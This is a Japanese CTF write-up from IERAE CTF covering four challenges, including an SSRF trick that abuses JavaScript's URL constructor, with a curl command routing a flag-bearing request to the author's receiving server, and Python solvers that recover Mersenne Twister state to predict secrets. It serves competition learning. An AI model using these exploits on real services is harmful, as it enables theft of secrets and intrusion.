IERAE CTFは初参加です。楽しかった!
チーム名: at24
, ユーザ名: takanotume24
で参加しました。
Futari APIs
frontend.ts
の
const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
としているところが怪しそう。
JavaScriptのURLオブジェクトのコンストラクタnew URL(url, base)
は url が絶対URL である場合、指定されたbase は無視するらしく(なぜ??)、urlに絶対URLを指定すればいいことがわかる。
参考: https://developer.mozilla.org/ja/docs/Web/API/URL/URL
直後に
return await fetch(uri);
があるため、外部のホストへリクエストが飛ばせそう。
denoではデフォルトではネットワークアクセスができないが、今回は--allow-net
オプションが付いているため許可されている。。
CTFの競技サーバを192.0.2.1:3000
, 自分で用意した受信用サーバを192.0.2.2:3000
とすると、
curl "192.0.2.1:3000/search?user=http%3A%2F%2F192.0.2.2%3000"
で192.0.2.2:3000
に向けてFLAG付きのリクエストが飛んでくる。
Weak PRNG
https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-stateのプログラムを拝借したところそのまま動作した。
-
io_lib.py
```python import subprocess import string def read_output( process: subprocess.Popen, expected_prompts: int, ) -> list[int]: generator_output_list: list[int] = [] for _ in range(expected_prompts): stdout = process.stdout if stdout is None: raise Exception() output = stdout.readline().strip() if output: print(output) output = output.replace(' ', '') if output.isdigit(): generator_output_list.append(int(output)) if expected_prompts >= 16: size = len(generator_output_list) if not size == 16: raise Exception(size) return generator_output_list ``` -
lib.py
```python # https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state より引用 def untemper(x): x = unBitshiftRightXor(x, 18) x = unBitshiftLeftXor(x, 15, 0xefc60000) x = unBitshiftLeftXor(x, 7, 0x9d2c5680) x = unBitshiftRightXor(x, 11) return x def unBitshiftRightXor(x, shift): i = 1 y = x while i * shift < 32: z = y >> shift y = x ^ z i += 1 return y def unBitshiftLeftXor(x, shift, mask): i = 1 y = x while i * shift < 32: z = y << shift y = x ^ (z & mask) i += 1 return y def get_prev_state(state): for i in range(623, -1, -1): result = 0 tmp = state[i] tmp ^= state[(i + 397) % 624] if ((tmp & 0x80000000) == 0x80000000): tmp ^= 0x9908b0df result = (tmp << 1) & 0x80000000 tmp = state[(i - 1 + 624) % 624] tmp ^= state[(i + 396) % 624] if ((tmp & 0x80000000) == 0x80000000): tmp ^= 0x9908b0df result |= 1 result |= (tmp << 1) & 0x7fffffff state[i] = result return state ``` -
predict_secret.py
```python from lib import untemper, get_prev_state import random def predict_secret( xs1: list[int], n: int, ): mt_state = [untemper(x) for x in xs1] prev_mt_state = get_prev_state(mt_state) random.setstate((3, tuple(prev_mt_state + [0]), None)) predicted = [random.getrandbits(32) for _ in range(n)] return predicted[623] ``` -
solver.py
```python import subprocess from io_lib import read_output from predict_secret import predict_secret if __name__ == '__main__': process = subprocess.Popen( # ['python3', '../challenge.py'], ['nc', '35.201.137.32', '19937'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True ) read_output( process=process, expected_prompts=7, ) stdin = process.stdin if stdin is None: raise Exception() generator_output_list: list[int] = [] for i in range(40): stdin.write('1' + '\n') stdin.flush() generator_output_list = generator_output_list + read_output( process=process, expected_prompts=23, ) print(generator_output_list) predicted_secret = predict_secret( xs1=generator_output_list[:624], n=624, ) print(predicted_secret) stdin.write(f'2' + '\n') stdin.flush() generator_output_list = generator_output_list + read_output( process=process, expected_prompts=2, ) stdin.write(f'{predicted_secret}' + '\n') stdin.flush() generator_output_list = generator_output_list + read_output( process=process, expected_prompts=2, ) ```
babewaf
解けなかったけどいくつか勉強になったことがあるのでメモ。
- expressはデフォルトでルーティングの際にキャピタライズを考慮しない。
- https://stackoverflow.com/questions/21216523/nodejs-express-case-sensitive-urls
-
/GIVEMEFLAG
でexpressを貫通させて、なんとかHonoに拾わせるのだと思っていた。
- expressでは正規表現の*文字は通常の方法で解釈されない。
-
https://expressjs.com/ja/guide/routing.html
Express 4.xでは、正規表現の文字は通常の方法で解釈されません。回避策として、の代わりに{0,}を使用してください。これは、Express 5で修正される可能性があります。
- https://github.com/expressjs/express/issues/2495
- 以下のルーティングに問題があるのではないかと疑っていた。
app.get( "*", createProxyMiddleware({ target: BACKEND, }), );
-
https://expressjs.com/ja/guide/routing.html
derangement
-
candidate_char_set
: ヒント文字列で出現した全ての文字の集合 -
appeared_char_set_dict[i]
: ヒント文字列のi文字目に出現した全ての文字の集合
とすると、candidate_char_set
の中から、appeared_char_set_dict[i]
を削除するとi文字目の文字だけが残る。
import subprocess
import string
def read_output(
process: subprocess.Popen,
expected_prompts: int,
hint_list: list[str],
) -> list[str]:
for _ in range(expected_prompts):
stdout = process.stdout
if stdout is None:
raise Exception()
output = stdout.readline().strip()
if output:
print(output)
if 'hint: ' in output:
hint_str = output.replace('> hint: ', '')
hint_list.append(hint_str)
return hint_list
def remove_from_charset(
hint_char_set: set[str],
) -> set[str]:
CHAR_SET = string.ascii_letters + string.digits + string.punctuation
CHAR_SET = set(CHAR_SET)
remained_char_set = CHAR_SET
for hint_char in hint_char_set:
remained_char_set.remove(hint_char)
return remained_char_set
def get_char_set_at_n_from_hint_list(
hint_list: list[str],
index: int,
) -> set[str]:
appeared_char_set = set()
for hint_str in hint_list:
hint_char = hint_str[index]
appeared_char_set.add(hint_char)
return appeared_char_set
def main():
process = subprocess.Popen(
# ['python3', '../challenge.py'],
['nc','192.0.2.1','55555'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
hint_list:list[str] = []
hint_list = read_output(
process=process,
expected_prompts=8,
hint_list=hint_list,
)
print(hint_list)
for i in range(290):
commands = ['1']
for command in commands:
stdin = process.stdin
if stdin is None:
raise Exception()
stdin.write(command + '\n')
stdin.flush()
read_output(
process=process,
expected_prompts=3,
hint_list=hint_list,
)
print(hint_list)
candidate_char_set = set()
appeared_char_set_dict: dict[int, set[str]] = {}
for i in range(15):
appeared_char_set = get_char_set_at_n_from_hint_list(
hint_list=hint_list,
index=i,
)
s = ''.join(sorted(appeared_char_set))
print(s, len(s))
candidate_char_set = candidate_char_set | appeared_char_set
appeared_char_set_dict[i] = appeared_char_set
print(candidate_char_set)
answer= ''
for index, appeared_char_set in appeared_char_set_dict.items():
s = (candidate_char_set - appeared_char_set).pop()
answer = answer + s
print(f'SOLVED!!: {answer}')
stdin.write('2' + '\n')
stdin.flush()
read_output(
process=process,
expected_prompts=2,
hint_list=hint_list,
)
stdin.write(answer + '\n')
stdin.flush()
read_output(
process=process,
expected_prompts=3,
hint_list=hint_list,
)
# 終了処理
process.stdin.close()
process.stdout.close()
process.stderr.close()
process.wait()
if __name__ == "__main__":
main()